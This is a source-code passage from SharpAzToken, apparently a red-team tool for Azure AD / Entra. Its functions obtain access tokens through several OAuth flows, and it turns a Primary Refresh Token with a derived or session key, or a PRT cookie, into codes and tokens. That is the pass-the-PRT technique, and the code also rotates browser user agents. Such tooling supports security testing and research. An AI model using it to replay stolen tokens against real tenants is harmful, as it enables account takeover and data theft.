RequestP2PCertificate(string JWT, string tenant, string proxy) 56 | { 57 | var formContent = new FormUrlEncodedContent(new[] 58 | { 59 | new KeyValuePair("grant_type", "urn:ietf:params:oauth:grant-type:jwt-bearer"), 60 | new KeyValuePair("request", JWT), 61 | new KeyValuePair("windows_api_version", "1.0") 62 | }); 63 | return Helper.PostToTokenEndpoint(formContent, proxy, tenant); 64 | } 65 | 66 | public static string GetTokenWithClientIDAndSecret(string clientID, string clientSecret, string tenant, string proxy, string payload, bool UseOAuthV2) 67 | { 68 | if (UseOAuthV2) 69 | { 70 | var formContent = new FormUrlEncodedContent(new[] 71 | { 72 | new KeyValuePair("grant_type", "client_credentials"), 73 | new KeyValuePair("client_id", clientID), 74 | new KeyValuePair("scope", payload), 75 | new KeyValuePair("client_secret", clientSecret) 76 | }); 77 | return Helper.PostToTokenV2Endpoint(formContent, proxy, tenant); 78 | } 79 | else 80 | { 81 | var formContent = new FormUrlEncodedContent(new[] 82 | { 83 | new KeyValuePair("grant_type", "client_credentials"), 84 | new KeyValuePair("client_id", clientID), 85 | new KeyValuePair("resource", payload), 86 | new KeyValuePair("client_secret", clientSecret) 87 | }); 88 | return Helper.PostToTokenEndpoint(formContent, proxy, tenant); 89 | } 90 | } 91 | 92 | public static string GetTokenFromUsernameAndPasswordV1(string username, string password, string proxy, string clientID, string ressourceId, string tenant, UserAgentEnums userAgent) 93 | { 94 | var formContent = new FormUrlEncodedContent(new[] 95 | { 96 | new KeyValuePair("grant_type", "password"), 97 | new KeyValuePair("scope", "openid"), 98 | new KeyValuePair("resource", ressourceId), 99 | new KeyValuePair("client_id", clientID), 100 | new KeyValuePair("username", username), 101 | new KeyValuePair("password", password) 102 | }); 103 | return Helper.PostToTokenEndpoint(formContent, proxy, tenant, userAgent); 104 | } 105 | 106 | private static string GetTokenWithUserNameAndPasswordV2(string username, string password, string proxy, string scope, string clientId, string tenant, UserAgentEnums userAgent) 107 | { 108 | var formContent = new FormUrlEncodedContent(new[] 109 | { 110 | new KeyValuePair("grant_type", "password"), 111 | new KeyValuePair("scope", scope), 112 | new KeyValuePair("client_id", clientId), 113 | new KeyValuePair("username", username), 114 | new KeyValuePair("password", password), 115 | new KeyValuePair("claims", "{\"access_token\":{\"xms_cc\":{\"values\":[\"cp1\"]}}}") 116 | }); 117 | return Helper.PostToTokenV2Endpoint(formContent, proxy, tenant, userAgent); 118 | 119 | } 120 | 121 | public static string GetTokenFromRefreshTokenV1(string refreshToken, string tenant, string proxy, string clientID, string ressourceId, UserAgentEnums userAgent) 122 | { 123 | var formContent = new FormUrlEncodedContent(new[] 124 | { 125 | new KeyValuePair("scope", "openid"), 126 | new KeyValuePair("grant_type", "refresh_token"), 127 | new KeyValuePair("resource", ressourceId), 128 | new KeyValuePair("client_id", clientID), 129 | new KeyValuePair("refresh_token", refreshToken) 130 | }); 131 | return Helper.PostToTokenEndpoint(formContent, proxy, tenant, userAgent); 132 | } 133 | public static string GetTokenWithRefreshTokenV2(string refreshToken, string proxy, string scope, string clientId, string tenant, UserAgentEnums userAgent, string claims = @"{""access_token"":{""xms_cc"":{""values"":[""cp1""]}}}") 134 | { 135 | if(claims != null) 136 | { 137 | var formContent = new FormUrlEncodedContent(new[] 138 | { 139 | new KeyValuePair("grant_type", "refresh_token"), 140 | new KeyValuePair("scope", scope), 141 | new KeyValuePair("client_id", clientId), 142 | new KeyValuePair("claims", claims), 143 | new KeyValuePair("refresh_token", refreshToken) 144 | }); 145 | return Helper.PostToTokenV2Endpoint(formContent, proxy, tenant, userAgent); 146 | } 147 | else 148 | { 149 | var formContent = new FormUrlEncodedContent(new[] 150 | { 151 | new KeyValuePair("grant_type", "refresh_token"), 152 | new KeyValuePair("scope", scope), 153 | new KeyValuePair("client_id", clientId), 154 | new KeyValuePair("refresh_token", refreshToken) 155 | }); 156 | return Helper.PostToTokenV2Endpoint(formContent, proxy, tenant, userAgent); 157 | } 158 | 159 | } 160 | public static string GetTokenWithCodeV1(string code, string tenant, string proxy, string clientID, string ressourceId, UserAgentEnums userAgent) 161 | { 162 | var formContent = new FormUrlEncodedContent(new[] 163 | { 164 | new KeyValuePair("grant_type", "authorization_code"), 165 | new KeyValuePair("resource", ressourceId), 166 | new KeyValuePair("client_id", clientID), 167 | new KeyValuePair("redirect_uri", "urn:ietf:wg:oauth:2.0:oob"), 168 | new KeyValuePair("code", code) 169 | }); 170 | return Helper.PostToTokenEndpoint(formContent, proxy, tenant, userAgent); 171 | } 172 | 173 | public static string GetTokenWithCodeV2(string code, string tenant, string proxy, string clientID, string scope, UserAgentEnums userAgent) 174 | { 175 | var formContent = new FormUrlEncodedContent(new[] 176 | { 177 | new KeyValuePair("grant_type", "authorization_code"), 178 | new KeyValuePair("scope", scope), 179 | new KeyValuePair("client_id", clientID), 180 | new KeyValuePair("redirect_uri", "urn:ietf:wg:oauth:2.0:oob"), 181 | new KeyValuePair("code", code) 182 | }); 183 | return Helper.PostToTokenV2Endpoint(formContent, proxy, tenant, userAgent); 184 | } 185 | 186 | public static string GetP2PCertificate(string JWT, string tenant, string proxy) 187 | { 188 | return RequestP2PCertificate(JWT, tenant, proxy); 189 | } 190 | 191 | 192 | public static string GetTokenFromPRTAndDerivedKey(string PRT, string tenant, string DerivedKey, string Context, string Proxy, string clientID, string payload, bool useAuthV2, UserAgentEnums userAgent) 193 | { 194 | string result = null; 195 | string prtCookie = Helper.createPRTCookie(PRT, Context, DerivedKey, null, Proxy); 196 | if (useAuthV2) 197 | { 198 | string code = Helper.getCodeFromPRTCookieV2(prtCookie, Proxy, payload, clientID); 199 | result = GetTokenWithCodeV2(code, tenant, Proxy, clientID, payload, userAgent); 200 | } 201 | else { 202 | string code = Helper.getCodeFromPRTCookieV1(prtCookie, Proxy, payload, clientID); 203 | result = GetTokenWithCodeV1(code, tenant, Proxy, clientID, payload, userAgent); 204 | } 205 | return result; 206 | } 207 | 208 | public static string GetTokenFromPRTAndSessionKey(string PRT, string tenant, string SessionKey, string Proxy, string clientID, string payload, bool useOauthv2, bool useKDFv2, UserAgentEnums userAgent) 209 | { 210 | string result = null; 211 | var context = Helper.GetByteArray(24); 212 | var decodedKey = Helper.Base64Decode(SessionKey); 213 | var derivedKey = Helper.CreateDerivedKey(decodedKey, context); 214 | 215 | var contextHex = Helper.Binary2Hex(context); 216 | var derivedSessionKeyHex = Helper.Binary2Hex(derivedKey); 217 | string prtCookie; 218 | if (useKDFv2) 219 | { 220 | prtCookie = Helper.createPRTCookieWithKDFv2(PRT, null, null, SessionKey, Proxy); 221 | } 222 | else 223 | { 224 | prtCookie = Helper.createPRTCookie(PRT, contextHex, derivedSessionKeyHex, null, Proxy); 225 | } 226 | string code; 227 | if (useOauthv2) 228 | { 229 | code = Helper.getCodeFromPRTCookieV2(prtCookie, Proxy, payload, clientID); 230 | } 231 | else 232 | { 233 | code = Helper.getCodeFromPRTCookieV1(prtCookie, Proxy, payload, clientID); 234 | } 235 | if(code == null | code.Length == 0) 236 | { 237 | return null; 238 | } 239 | if (useOauthv2) 240 | { 241 | result = GetTokenWithCodeV2(code, tenant, Proxy, clientID, payload, userAgent); 242 | } 243 | else 244 | { 245 | result = GetTokenWithCodeV1(code, tenant, Proxy, clientID, payload, userAgent); 246 | } 247 | return result; 248 | } 249 | 250 | public static string GetTokenFromPRTCookieV1(string PRTCookie, string Proxy, string clientID, string resourceID, UserAgentEnums userAgent) 251 | { 252 | string code = Helper.getCodeFromPRTCookieV1(PRTCookie, Proxy, resourceID, clientID); 253 | if (code == null || code.Length == 0) 254 | { 255 | return null; 256 | } 257 | return GetTokenWithCodeV1(code, null, Proxy, clientID, resourceID, userAgent); 258 | } 259 | 260 | public static string GetTokenFromPRTCookieV2(string PRTCookie, string Proxy, string clientID, String scope, UserAgentEnums userAgent) 261 | { 262 | string code = Helper.getCodeFromPRTCookieV2(PRTCookie, Proxy, scope, clientID); 263 | if (code == null || code.Length == 0) 264 | { 265 | return null; 266 | } 267 | return GetTokenWithCodeV2(code, null, Proxy, clientID, scope, userAgent); 268 | } 269 | 270 | public static string GetTokenFromDeviceCodeFlow(string ClientID, string ResourceID, string Proxy, bool useOAuthV2) 271 | { 272 | string result = null; 273 | result = RequestDeviceCode(ClientID, ResourceID, Proxy, useOAuthV2); 274 | var InitDeviceCode = JsonConvert.DeserializeObject(result); 275 | Console.WriteLine(JToken.FromObject(InitDeviceCode).ToString(Formatting.Indented)); 276 | 277 | var SecondsToWait = InitDeviceCode.interval; 278 | int WaitedTime = 0; 279 | while (WaitedTime < InitDeviceCode.expires_in) 280 | { 281 | result = RequestForPendingAuthentication(InitDeviceCode.device_code, ClientID, Proxy, useOAuthV2 ); 282 | JToken parsedesults = JToken.Parse(result); 283 | if (parsedesults["error"] != null) 284 | { 285 | Console.WriteLine("[+] Response from Azure: " + parsedesults["error"]); 286 | }else 287 | { 288 | return result; 289 | } 290 | System.Threading.Thread.Sleep(SecondsToWait * 1000); 291 | WaitedTime += SecondsToWait; 292 | result = null; 293 | } 294 | return null; 295 | } 296 | 297 | public static string getTokenV1(TokenOptionsV1 opts) 298 | { 299 | string result = null; 300 | string clientID = opts.ClientID; 301 | string resourceID = opts.ResourceID; 302 | 303 | if (opts.Devicecode) 304 | { 305 | result = GetTokenFromDeviceCodeFlow(clientID, resourceID, opts.Proxy, false); 306 | } 307 | else if (opts.PRT != null & opts.DerivedKey != null & opts.Context != null) 308 | { 309 | result = GetTokenFromPRTAndDerivedKey(opts.PRT, opts.Tenant, opts.DerivedKey, opts.Context, opts.Proxy, clientID, resourceID, false, opts.UserAgent); 310 | } 311 | else if (opts.PRT != null & opts.SessionKey != null) 312 | { 313 | result = GetTokenFromPRTAndSessionKey(opts.PRT, opts.Tenant, opts.SessionKey, opts.Proxy, clientID, resourceID, false, opts.useKDFv2, opts.UserAgent); 314 | } 315 | else if (opts.PrtCookie != null) 316 | { 317 | result = GetTokenFromPRTCookieV1(opts.PrtCookie, opts.Proxy, clientID, resourceID, opts.UserAgent); 318 | } 319 | else if (opts.Tenant != null & opts.ClientID != null & opts.ClientSecret != null) 320 | { 321 | result = GetTokenWithClientIDAndSecret(opts.ClientID, opts.ClientSecret, opts.Tenant, opts.Proxy, resourceID, false); 322 | } 323 | else if (opts.RefreshToken != null & opts.ResourceID != null) 324 | { 325 | result = GetTokenFromRefreshTokenV1(opts.RefreshToken, opts.Tenant, opts.Proxy, opts.ClientID, opts.ResourceID, opts.UserAgent); 326 | } 327 | else if (opts.UserName != null & opts.Password != null) 328 | { 329 | result = GetTokenFromUsernameAndPasswordV1(opts.UserName, opts.Password, opts.Proxy, opts.ClientID, opts.ResourceID, opts.Tenant, opts.UserAgent); 330 | } 331 | else 332 | { 333 | Console.WriteLine("[-] Please set the corect arguments."); 334 | return null; 335 | } 336 | return result; 337 | } 338 | 339 | public static string getTokenV2(TokenOptionsV2 opts) 340 | { 341 | string result = null; 342 | string clientID = opts.ClientID; 343 | string scope = opts.Scope; 344 | 345 | if (opts.Devicecode) 346 | { 347 | result = GetTokenFromDeviceCodeFlow(clientID, scope, opts.Proxy, true); 348 | } 349 | else if (opts.PRT != null & opts.DerivedKey != null & opts.Context != null) 350 | { 351 | result = GetTokenFromPRTAndDerivedKey(opts.PRT, opts.Tenant, opts.DerivedKey, opts.Context, opts.Proxy, clientID, scope, true, opts.UserAgent); 352 | } 353 | else if (opts.PRT != null & opts.SessionKey != null) 354 | { 355 | result = GetTokenFromPRTAndSessionKey(opts.PRT, opts.Tenant, opts.SessionKey, opts.Proxy, clientID, scope, true, opts.useKDFv2, opts.UserAgent); 356 | } 357 | else if (opts.RefreshToken != null & opts.Scope != null) 358 | { 359 | result = GetTokenWithRefreshTokenV2(opts.RefreshToken, opts.Proxy, opts.Scope, opts.ClientID, opts.Tenant, opts.UserAgent); 360 | } 361 | else if (opts.UserName != null & opts.Password != null) 362 | { 363 | result = GetTokenWithUserNameAndPasswordV2(opts.UserName, opts.Password, opts.Proxy, opts.Scope, opts.ClientID, opts.Tenant, opts.UserAgent); 364 | } 365 | else if (opts.Tenant != null & opts.ClientID != null & opts.ClientSecret != null) 366 | { 367 | result = GetTokenWithClientIDAndSecret(opts.ClientID, opts.ClientSecret, opts.Tenant, opts.Proxy, scope, true); 368 | } 369 | else if (opts.PrtCookie != null) 370 | { 371 | result = GetTokenFromPRTCookieV2(opts.PrtCookie, opts.Proxy, clientID, scope, opts.UserAgent); 372 | } 373 | else 374 | { 375 | Console.WriteLine("[-] Please set the corect arguments."); 376 | return null; 377 | } 378 | return result; 379 | } 380 | 381 | 382 | } 383 | } 384 | -------------------------------------------------------------------------------- /SharpAzToken/UserAgentEnums.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SharpAzToken 9 | { 10 | public enum UserAgentEnums 11 | { 12 | [Description("Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.")] 13 | Edge, 14 | [Description("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.3")] 15 | Chrome, 16 | [Description("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.")] 17 | Firefox, 18 | [Description("Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.3")] 19 | Android, 20 | [Description("Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E148 Safari/604.")] 21 | iOS, 22 | [Description("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.1")] 23 | MacOS 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /SharpAzToken/Utils.cs: -------------------------------------------------------------------------------- 1 | using SharpAzToken.Models; 2 | using Newtonsoft.Json; 3 | using Newtonsoft.Json.Linq; 4 | using System; 5 | using System.Collections.Generic; 6 | using System.Text; 7 | 8 | namespace SharpAzToken 9 | { 10 | class Utils 11 | { 12 | public static String GetTenantIdToUPN(String UPN, String Proxy) 13 | { 14 | String domain = UPN.Split("@")[1]; 15 | return GetTenantIdToDomain(domain,Proxy); 16 | } 17 | public static String GetTenantIdToDomain(string Domain, String Proxy) 18 | { 19 | String result = null; 20 | result = Helper.GetOpenIDConfiguration(Domain, Proxy); 21 | if (result == null) 22 | { 23 | return null; 24 | } 25 | var resultParsed = JsonConvert.DeserializeObject(result); 26 | if (resultParsed.authorization_endpoint != null) { 27 | result = resultParsed.authorization_endpoint.Split("/")[3]; 28 | }else{ 29 | return null; 30 | } 31 | return result; 32 | } 33 | 34 | } 35 | } 36 | --------------------------------------------------------------------------------